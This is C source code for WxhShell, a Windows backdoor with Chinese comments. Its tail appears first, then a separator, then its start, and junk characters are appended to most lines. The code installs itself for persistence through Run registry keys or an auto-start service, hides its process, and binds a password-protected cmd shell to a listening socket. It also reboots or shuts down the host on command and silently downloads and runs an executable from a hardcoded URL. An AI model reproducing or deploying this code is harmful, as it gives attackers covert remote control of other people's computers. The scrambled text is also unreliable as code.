    else { yJ^}uw  
    closesocket(wsh); qwN-VCj  
    ExitThread(0); oOuWgr]0  
    } u~K4fP  
    break; 7&X^y+bMe6  
    } !Ed';yfz\(  
  // 关机 k]v a  
  case 'd': { hgm`6TQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uu G;z5  
    if(Boot(SHUTDOWN)) N(D_*% 96  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G,J$lT X  
    else { ;&iQNXL  
    closesocket(wsh); RsE+\)  
    ExitThread(0); y'(;!5w  
    } K\uR=L7  
    break; FsD}N k=m~  
    } !4|7U\;  
  // 获取shell HH>]"mv  
  case 's': { /@0wbA  
    CmdShell(wsh); zgLm~  
    closesocket(wsh); P5[.2y_qM  
    ExitThread(0); >]Y`-*vw&  
    break; 5R qkAC  
  } V97Eb>@  
  // 退出 291v R]  
  case 'x': { 'E6)6N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =l {>-`:  
    CloseIt(wsh); 5{{u #W%=  
    break; KX{S8_  
    } 8}4V$b`Z  
  // 离开 w* v%S   
  case 'q': { NJ3b Oq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (}'0K?  
    closesocket(wsh); {4 *ob@w*  
    WSACleanup(); a 6[bF  
    exit(1); 'y@0P5[se  
    break; 6%:N^B=%}  
        } n:HF&j4C,  
  } uA,K}sNRZ  
  } [$B  
CB|Z~_Bm  
  // 提示信息 A!SHt7ysJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p=T]%k*^h#  
} [}.OlR3)  
  } ]GRPxh  
nNf/$h#;O  
  return; ;|66AIwDe  
} 68d(6?OgW  
\!`*F :7]-  
// shell模块句柄 gJ:Z7b  
int CmdShell(SOCKET sock) jytfGE:  
{ \ 3ha  
STARTUPINFO si; {,,w5/k^  
ZeroMemory(&si,sizeof(si)); 6:@tHUm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f~9ADb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @va6,^)  
PROCESS_INFORMATION ProcessInfo; 7|*|xLrVY  
char cmdline[]="cmd"; ]^R;3kU4Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jgb{Tl:r  
  return 0; ;4%^4<+3  
} !DXKn\aQf  
IX$ $pdQ  
// 自身启动模式 't2"CPZ  
int StartFromService(void) klv ]+F&[  
{ !'MZeiLP  
typedef struct Vc}m_ T]O  
{ CKyX  Z  
  DWORD ExitStatus; )~s(7 4`}  
  DWORD PebBaseAddress; os"o0?  
  DWORD AffinityMask; Busxg?=  
  DWORD BasePriority; 5) nm6sf  
  ULONG UniqueProcessId; 1: XT r  
  ULONG InheritedFromUniqueProcessId; &?v^xAr?B  
}   PROCESS_BASIC_INFORMATION; +!CG'qyN>  
c[f  
PROCNTQSIP NtQueryInformationProcess; EX=Q(}9F<  
u9_ Fjm}&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UJ2Tj+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g#W)EXUR  
v~9PS2  
  HANDLE             hProcess; wYPJji D  
  PROCESS_BASIC_INFORMATION pbi; O$<kWSC  
BNnGtVAbZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R=xT\i{4h  
  if(NULL == hInst ) return 0; S!0<aFh  
==~X8k|{E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hVd% jU:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {b}Ri&oEOH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^F/N-!}q  
+<(N]w*  
  if (!NtQueryInformationProcess) return 0; D`V03}\-  
k& 2U&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eE '\h  
  if(!hProcess) return 0; +m^ gj:yL  
QQj)"XJ29  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?v \A&d  
K]1A,Q  
  CloseHandle(hProcess); mY+J ju1  
 km|;T!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] K3^0S/  
if(hProcess==NULL) return 0; TW" TgOfd  
M|w;7P}  
HMODULE hMod; ]%!:'#  
char procName[255]; M| :wC  
unsigned long cbNeeded; |L 11?{ K  
nRzD[ 3I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %A|9=x*  
79^Y^.D  
  CloseHandle(hProcess); _8v8qT}O~4  
>,yE;zuw  
if(strstr(procName,"services")) return 1; // 以服务启动 tt $DWmm  
9@9(zUS|  
  return 0; // 注册表启动 ,6uON@  
} |#^wYZO1U  
iimTr_TEt  
// 主模块 C4Z}WBS(  
int StartWxhshell(LPSTR lpCmdLine) E3@G^Y  
{ ^~'tQ}]!"  
  SOCKET wsl; 9w9[0BX#  
BOOL val=TRUE; wM9HZraB<  
  int port=0; @GNNi?EY  
  struct sockaddr_in door; i7 _Nv  
9~/k25P  
  if(wscfg.ws_autoins) Install(); >4b:`L  
1qp<Fz[  
port=atoi(lpCmdLine); d"`/P?n x  
?Z 9C}t]  
if(port<=0) port=wscfg.ws_port; ^K. d|z  
4jbqV  
  WSADATA data; I]+xerVd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7Ko<,Kp2b  
_4Z|O]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6[b'60CuZL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TwJiYXHw?  
  door.sin_family = AF_INET; -FftEeo7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )WuU?Tn&  
  door.sin_port = htons(port); ,< Zu4bww  
,j E'd'$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fjch<gAofS  
closesocket(wsl); &\),V1"  
return 1; BPs|qb-  
} jGy%O3/  
N1/)F k-z  
  if(listen(wsl,2) == INVALID_SOCKET) { ldk (zAB.  
closesocket(wsl); <cS"oBh&u0  
return 1; cetHpU ,  
} {| ~  
  Wxhshell(wsl); Kcf1$`F24  
  WSACleanup(); @{/GdB,}  
`s1>7XWf  
return 0; r{2V`h1/|  
cBcfGNTJ~  
} 9n9Z  
 t~_vzG  
// 以NT服务方式启动 ggn C #$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >1uo5,wrF  
{ 9bu}@#4*  
DWORD   status = 0; XK#~w:/fB  
  DWORD   specificError = 0xfffffff; h.T]J9;9  
q9+`pj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y#tuwzE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zNG]v?JAh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ',+YWlW  
  serviceStatus.dwWin32ExitCode     = 0; st4z+$L  
  serviceStatus.dwServiceSpecificExitCode = 0; ufl[sj%^|  
  serviceStatus.dwCheckPoint       = 0; =c/jS  
  serviceStatus.dwWaitHint       = 0; ZW+M<G  
(dvsGYT|.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D/U=zDpiB  
  if (hServiceStatusHandle==0) return; q~:H>;:G-  
zP554Gr?  
status = GetLastError(); ={~?O&Jh  
  if (status!=NO_ERROR) @}K|/  
{ n0)0"S|y1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S:5vC {  
    serviceStatus.dwCheckPoint       = 0; Odn`q=  
    serviceStatus.dwWaitHint       = 0; )T0%<(J  
    serviceStatus.dwWin32ExitCode     = status; \iL{q^Im  
    serviceStatus.dwServiceSpecificExitCode = specificError; py|ORVN(Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96ydcJY0'  
    return; @~p;.=1]F  
  } y-#{v.|L  
k]>1@t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ke\gzP/  
  serviceStatus.dwCheckPoint       = 0; "R<c  
  serviceStatus.dwWaitHint       = 0; 4C:-1gu7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l7T@<V  
} j(xVbUa  
Budo9z_w  
// 处理NT服务事件,比如:启动、停止 mM#[XKOC<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r,cz yE/  
{ ` |uwR5  
switch(fdwControl) ;D8175px;  
{ K%jh 6c8  
case SERVICE_CONTROL_STOP: vM3 b\yp  
  serviceStatus.dwWin32ExitCode = 0; };{Qx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [k~}Fe) x  
  serviceStatus.dwCheckPoint   = 0;  eeMeV>  
  serviceStatus.dwWaitHint     = 0; sOVbz2 \yb  
  { ;15 j\{r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]#NJ[IZb  
  } %>io$o  
  return; npCiqO  
case SERVICE_CONTROL_PAUSE: ,vcg%~-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y,/Arl}yc  
  break; 1`& Yg(  
case SERVICE_CONTROL_CONTINUE: JX)%iJq#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wjzR 8g0bQ  
  break; Qr.SPNUFK  
case SERVICE_CONTROL_INTERROGATE: }+@GgipyO.  
  break; D`9a"o  
}; (_0r'{`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZbAg^2  
} (/i?Fd  
C<B+!16  
// 标准应用程序主函数 PKjM1wqaG@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H@uDP  
{ -prc+G,qyp  
%|izt/B  
// 获取操作系统版本 DS| HN  
OsIsNt=GetOsVer(); ;z1\n3,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kVRh/<s  
TC* 78;r  
  // 从命令行安装 mVsghDESJ)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` W} Bc  
,&F4|{  
  // 下载执行文件 sx^0*h-Qq  
if(wscfg.ws_downexe) { -dyN Ah?=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bj`ZH~T  
  WinExec(wscfg.ws_filenam,SW_HIDE); F1A7l"X]  
} CT0 ~  
w7E7r?)Wl|  
if(!OsIsNt) { +tCNJ<S@l$  
// 如果时win9x,隐藏进程并且设置为注册表启动 OD8{ /7  
HideProc(); 1@Gmzh  
StartWxhshell(lpCmdLine); dCn'IM1  
} *Y]()#?Gr  
else .,*68S0k7  
  if(StartFromService()) <=Z`]8  
  // 以服务方式启动 Jfs_9g5  
  StartServiceCtrlDispatcher(DispatchTable); ,ZWaTp*D/  
else rtn.^HF  
  // 普通方式启动 nj4G8/U-q  
  StartWxhshell(lpCmdLine); NsN =0ff  
o;"Phc.  
return 0; PdD,~N#  
} ;RzbPlkl  
o6ag{Yp  
#a+*u?jnnL  
MhL>6rn  
=========================================== FoKAF &h7  
=\FV_4)  
D.ERt)l>  
+:ih`q][b  
G ~X93J  
^ rh{  
" 0-at#r:  
2tqj]i  
#include <stdio.h> ;^DG P  
#include <string.h> a,ZmDkzuv  
#include <windows.h> %1Nank!Zj  
#include <winsock2.h> Hs`j6yuc9  
#include <winsvc.h> /'QfLW>6  
#include <urlmon.h> MO%kUq|pg  
231,v,X[  
#pragma comment (lib, "Ws2_32.lib") _ %gu<Ys  
#pragma comment (lib, "urlmon.lib") EQ%,IK/  
De`p@`+<#~  
#define MAX_USER   100 // 最大客户端连接数 5H79-QLd  
#define BUF_SOCK   200 // sock buffer = P@j*ix  
#define KEY_BUFF   255 // 输入 buffer 5Z_7Sc  
yKB&][)&  
#define REBOOT     0   // 重启 lO/?e!$  
#define SHUTDOWN   1   // 关机 :cA%lKg  
,SG-{   
#define DEF_PORT   5000 // 监听端口 \'hZm%S  
  !XQq*  
#define REG_LEN     16   // 注册表键长度 L/KiE+Y  
#define SVC_LEN     80   // NT服务名长度 dxi5p!^^9  
)aAKxC7w  
// 从dll定义API !m:rtPD'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U+ANSW/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nvbKW.[<f{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s9[54 7?`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zEy,aa :M  
TjY-C m  
// wxhshell配置信息 Kd!.sB/%  
struct WSCFG { 2Fc>6]:*  
  int ws_port;         // 监听端口 SUN!8 qFA  
  char ws_passstr[REG_LEN]; // 口令 cnraNq1  
  int ws_autoins;       // 安装标记, 1=yes 0=no kK~,? l  
  char ws_regname[REG_LEN]; // 注册表键名 nm#,oX2C  
  char ws_svcname[REG_LEN]; // 服务名 60z8U#upM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hCpcX"wND  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 05 o vz   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T*{nf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZwOX ,D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bnZ~jOHl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bmQ-5SE  
AMre(lgh  
}; C @nA*  
AU 4K$hC^  
// default Wxhshell configuration t.pn07$  
struct WSCFG wscfg={DEF_PORT, z(eAhK}6?  
    "xuhuanlingzhe", T)o>U &KNP  
    1, ]114\JE  
    "Wxhshell", 5j~1%~,#  
    "Wxhshell", wAKm]?zB>  
            "WxhShell Service", .D{He9  
    "Wrsky Windows CmdShell Service", &>A<{J@VL  
    "Please Input Your Password: ", svvl`|n%  
  1, Ox%p"xuP,  
  "http://www.wrsky.com/wxhshell.exe", }l7@:ezZZ7  
  "Wxhshell.exe" /i)>|U 4  
    }; N~|Z@pU"  
X" Upml  
// 消息定义模块 mlix^P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iHKX#*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $*+IsP!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sc&u NfJ  
char *msg_ws_ext="\n\rExit."; X'J!.Jj  
char *msg_ws_end="\n\rQuit."; 6~^ M<E  
char *msg_ws_boot="\n\rReboot..."; |*( R$tX  
char *msg_ws_poff="\n\rShutdown..."; *CCh\+S7m  
char *msg_ws_down="\n\rSave to "; VT [TE  
-?p4"[  
char *msg_ws_err="\n\rErr!"; bbs'>D3  
char *msg_ws_ok="\n\rOK!"; :Z&<5  
^v5<*uf%m  
char ExeFile[MAX_PATH]; <Uc?#;% Y}  
int nUser = 0; xi[\2g+  
HANDLE handles[MAX_USER]; 8Z!Mad  
int OsIsNt; ./35_Vy/O  
5tl( $j  
SERVICE_STATUS       serviceStatus; Q 6n!u;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F R(k==pZ  
yJ4ZB/ZQ  
// 函数声明 L*FQ`:lZ  
int Install(void); X/ lmj_v  
int Uninstall(void); tID=I0D  
int DownloadFile(char *sURL, SOCKET wsh); gC+?5_=<  
int Boot(int flag); C7Fx V2  
void HideProc(void); T^icoX=c4  
int GetOsVer(void); nc^DFP  
int Wxhshell(SOCKET wsl); +_1sFH`  
void TalkWithClient(void *cs); weH3\@  
int CmdShell(SOCKET sock); UDW_?SHAx  
int StartFromService(void); g#:P cl  
int StartWxhshell(LPSTR lpCmdLine); s#H_ QOE  
N6HeZB" :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l[<U UEjZJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H/y,}z  
$wC'qV *  
// 数据结构和表定义 FfNUFx2N  
SERVICE_TABLE_ENTRY DispatchTable[] = &%`WXe-`R  
{ X ?U'GLm  
{wscfg.ws_svcname, NTServiceMain}, yA#nnu1  
{NULL, NULL} 8n35lI ( [  
}; C6'K)P[p  
e'MW"uCP}  
// 自我安装 o Vpq*"  
int Install(void) h [@}} 6  
{ Lp) P7Yt-  
  char svExeFile[MAX_PATH]; 66-tNy  
  HKEY key; !Ahxi);a  
  strcpy(svExeFile,ExeFile); AsI\#wL)  
8Si3 aq3  
// 如果是win9x系统,修改注册表设为自启动 F*T$n"^  
if(!OsIsNt) { ]\y]8v5(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (H8JV1J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i1S cXKO  
  RegCloseKey(key); [1nUq!uTm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mc&Fj1h5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {y'4&vt<~  
  RegCloseKey(key); ey6ujV7!  
  return 0; Zs4NN 2~  
    } ?a-5^{{  
  } OT0IGsJ"'  
} }T-'""*  
else { M!aJKpf  
wYr*('uT  
// 如果是NT以上系统,安装为系统服务 d( yTz&u)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Yl+IP];i  
if (schSCManager!=0) oL~?^`cGZ  
{ c:[ ZknnCe  
  SC_HANDLE schService = CreateService h5(OjlMC  
  ( k{H7+;_  
  schSCManager, z'7XGO'Lo  
  wscfg.ws_svcname, ~1{ppc+  
  wscfg.ws_svcdisp, p-r[M5;-^Q  
  SERVICE_ALL_ACCESS, MdN0 Y@Ll  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FGzKx9I9  
  SERVICE_AUTO_START, 2;(+]Ad<  
  SERVICE_ERROR_NORMAL, w+wtr[;wwL  
  svExeFile, d<6m_! L  
  NULL, CXi[$nF3  
  NULL, IdM~' Q>\  
  NULL, >g m  
  NULL, !ewT#afyu(  
  NULL t3h){jZ  
  ); Sy' ]fGvx  
  if (schService!=0) %DA&txX}w  
  { o7s!ti\G  
  CloseServiceHandle(schService); kD0bdE|  
  CloseServiceHandle(schSCManager); H'JU5nE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PW82 Vp.  
  strcat(svExeFile,wscfg.ws_svcname); F0~<p[9Nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &B ]1 VZUp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9VanR ::XX  
  RegCloseKey(key); `ZbFky{  
  return 0; !*f$*,=^  
    } QIg'js$W  
  } C T\@>!'f  
  CloseServiceHandle(schSCManager); 7WwE] ^M  
} ~GcWG4  
} ?(n v_O  
Xdw pn+7s  
return 1; ,ga6   
} |-;VnC&UY  
<uxLG;R  
// 自我卸载 On54!m  
int Uninstall(void) 2v2XU\u{t  
{ tt#dO@G#Fe  
  HKEY key; Bhv$   
XT4Gz|k  
if(!OsIsNt) { !JyY&D~`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]jYFrOMy4S  
  RegDeleteValue(key,wscfg.ws_regname); SZEi+CRs0  
  RegCloseKey(key); .`Q^8|$-K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tbWf m5$  
  RegDeleteValue(key,wscfg.ws_regname); {VKFw=$8  
  RegCloseKey(key); ]Axz}:  
  return 0; EY:IwDA.}  
  } hf^<lJh~=  
} :m(DRD  
} ;1s+1G}_z  
else { #n}~u@,o_  
6i2%EC9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L7d1)mV  
if (schSCManager!=0) 0{g*\W*+~  
{ |Fi5/$S.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1`YU9?  
  if (schService!=0) 5 mC"8N1)  
  { DzQ  
  if(DeleteService(schService)!=0) { l#`G4Vf  
  CloseServiceHandle(schService); #f YB4.i~  
  CloseServiceHandle(schSCManager); tc<uS%XT4^  
  return 0; 6pSi-FH  
  } 0ZM(heQ  
  CloseServiceHandle(schService); b>Y{,`E3  
  } R(`:~@ 3\6  
  CloseServiceHandle(schSCManager); !?(7g2NP)  
} tAF?. \x"g  
} 7 @ )  
OQ7 `n<I<)  
return 1; .w;kB}$YC  
} -^546 7  
K)BQ0v.:[  
// 从指定url下载文件 0/b  _T  
int DownloadFile(char *sURL, SOCKET wsh) <^'{=A>  
{ #{vC =m73  
  HRESULT hr; t* =[RS*  
char seps[]= "/"; r!+{In+Z  
char *token; W*t] d  
char *file; BMy3tyO  
char myURL[MAX_PATH]; @phVfP"M  
char myFILE[MAX_PATH]; \ l#eW x  
5&V=$]t  
strcpy(myURL,sURL); ])o{!}QUl\  
  token=strtok(myURL,seps); % /"n(?$ W  
  while(token!=NULL) Aeb(b+=  
  { 1[^YK6a/  
    file=token; #3QPcoxa  
  token=strtok(NULL,seps); b7Jxv7$e  
  } B*,)@h  
0Gc@AG{  
GetCurrentDirectory(MAX_PATH,myFILE); d<6F'F^w.7  
strcat(myFILE, "\\"); 1^4:l!0D  
strcat(myFILE, file); ) ](ls@*  
  send(wsh,myFILE,strlen(myFILE),0); I5_HaC>  
send(wsh,"...",3,0); /\c'kMAW!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O=A2QykV(  
  if(hr==S_OK) <;6{R#Tuh  
return 0; @M]_],  
else "FWx;65CR  
return 1; eHuJFM  
Bchv1KF  
} I I+y  
WJ25fTsG  
// 系统电源模块 0RT8N=B83  
int Boot(int flag) du66a+@t  
{ x}yl Rg`[  
  HANDLE hToken; A^>@6d $2  
  TOKEN_PRIVILEGES tkp; qcS.=Cj?)  
N)H "'#-  
  if(OsIsNt) { 4b`E/L}2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <qwf"Ey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N2v/<  
    tkp.PrivilegeCount = 1; S^eem_C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x9vSekV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G}fB d  
if(flag==REBOOT) { @kWL "yy,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +e-F`k  
  return 0; kh5a>OX  
} LE\=Y;%  
else { "XR=P> xk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;!MQ@Fi^  
  return 0; V4n~Z+k  
} `RL Wr,h  
  } Nmj)TOEPW  
  else { z uV%`n  
if(flag==REBOOT) { 9 {&g.+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jYHnJ}<  
  return 0; s-$ Wc) l  
} Vr1}Zv3K'  
else { j uA@"SG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tk&AZb,sP  
  return 0; +/~]fI  
} X 0G,tl  
} Q":_\inF  
UK ':%LeL  
return 1; b/M/)o!C  
} 3iCe5VF  
~_\Ra%  
// win9x进程隐藏模块 rH3U;K!  
void HideProc(void) CO wcus  
{ %Mda<3P  
h>/teHy /  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )9YDNVo*-  
  if ( hKernel != NULL ) 79T_9}M  
  { :_8K8Sa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y, l[v39  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  FA+HR  
    FreeLibrary(hKernel); v$y\X3)mB  
  } hX.cdt_?  
;_,jy7lf  
return; M|(VM=~  
} T lXS}5^  
f 2WVg;Z  
// 获取操作系统版本 )Te\6qM  
int GetOsVer(void) o?baiOkH  
{ G\sx'#Whc  
  OSVERSIONINFO winfo; q8{Bx03m6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z",0 $Gxu  
  GetVersionEx(&winfo); T|~5dZL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Et0gPX-  
  return 1; xA3_W  
  else v;(cJ,l  
  return 0; sp\6-*F  
} 8-;.Ejz!\A  
mB`HPT  
// 客户端句柄模块 vPnS`&  
int Wxhshell(SOCKET wsl) f7&ni#^Ztj  
{ XRPJPwes]  
  SOCKET wsh;  ,$6si  
  struct sockaddr_in client; (%^C}`|EA  
  DWORD myID; L1kn="5  
D[>:az `  
  while(nUser<MAX_USER) 3o rSk  
{ E2zL-ft.  
  int nSize=sizeof(client); [Q T ;~5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RPX.?;":  
  if(wsh==INVALID_SOCKET) return 1; nAQ[ -NbW,  
C^$E#|E9N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dw6ysOR@  
if(handles[nUser]==0) JrBPx/?(,;  
  closesocket(wsh); L 0Ckw},,  
else u&*[   
  nUser++; T>'w]wi  
  } %R5- 6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5B~]%_gZr  
1#Vd)vSP  
  return 0; P,8TO-e7  
} 4l0>['K&{  
/%g@ ;  
// 关闭 socket ",~ZO<P  
void CloseIt(SOCKET wsh) Lum=5zDo  
{ _E9[4%f  
closesocket(wsh); z&9ljQ iF  
nUser--; hGKQK ^bn  
ExitThread(0); n%WjU)<  
} I?1 BGaAA  
blomB2vQ  
// 客户端请求句柄 ce$ [H}rDB  
void TalkWithClient(void *cs) *lDVV,T'}w  
{ %S%UMA.  
 qbc=kP  
  SOCKET wsh=(SOCKET)cs; /{j._4c  
  char pwd[SVC_LEN]; kP5I+ B  
  char cmd[KEY_BUFF]; 7Ws88Qs)  
char chr[1]; zSA"f_e  
int i,j; Q)E3)),  
.8'c c8  
  while (nUser < MAX_USER) { -I4@6v E,  
# ,H!<X;SS  
if(wscfg.ws_passstr) { A#`$#CO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e6*,MnqBh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Fx *,91  
  //ZeroMemory(pwd,KEY_BUFF); 8i^ ./P  
      i=0; R o{xprE1  
  while(i<SVC_LEN) { |A68+(3u  
0OlT^  
  // 设置超时 ]fDb|s48  
  fd_set FdRead; aY4v'[  
  struct timeval TimeOut; IT#Li  
  FD_ZERO(&FdRead); bR}fj.gP  
  FD_SET(wsh,&FdRead); `s69p'<;p  
  TimeOut.tv_sec=8; k v_t6(qd  
  TimeOut.tv_usec=0; {^Q,G x(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;mI^J=V3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,+d8   
O,7S1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ml2/}}  
  pwd=chr[0]; AP`1hz4].-  
  if(chr[0]==0xd || chr[0]==0xa) { ~[F7M{LS  
  pwd=0; K20Hh7cVJ  
  break; u-jV@Tz  
  } -F(luRBS(W  
  i++; K#6@sas  
    } "([gN:   
"1\GU1x  
  // 如果是非法用户,关闭 socket -k:x e:$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Cj_z  
} B&7:=t,m(  
w)&4i$Lk6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eU)QoVt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G]$EIf'  
cBbumf9C  
while(1) { r# oJch=  
Ttl m&d+C  
  ZeroMemory(cmd,KEY_BUFF); |bQF.n_  
a~R.">>$  
      // 自动支持客户端 telnet标准   Q(Yn8t  
  j=0; cDYO Ju.  
  while(j<KEY_BUFF) { .*n*eeD,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  2rC&  
  cmd[j]=chr[0]; E 6MeM'sx  
  if(chr[0]==0xa || chr[0]==0xd) { J8@.qC'!  
  cmd[j]=0; I5QtPqB>  
  break; "*`!.9pt  
  } 2z$!}  
  j++; hwvitD!0  
    } T12Zak4.=  
B1Pi+-t  
  // 下载文件 LPs5LE[Pm  
  if(strstr(cmd,"http://")) { o\><e1P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :+w6i_\d5  
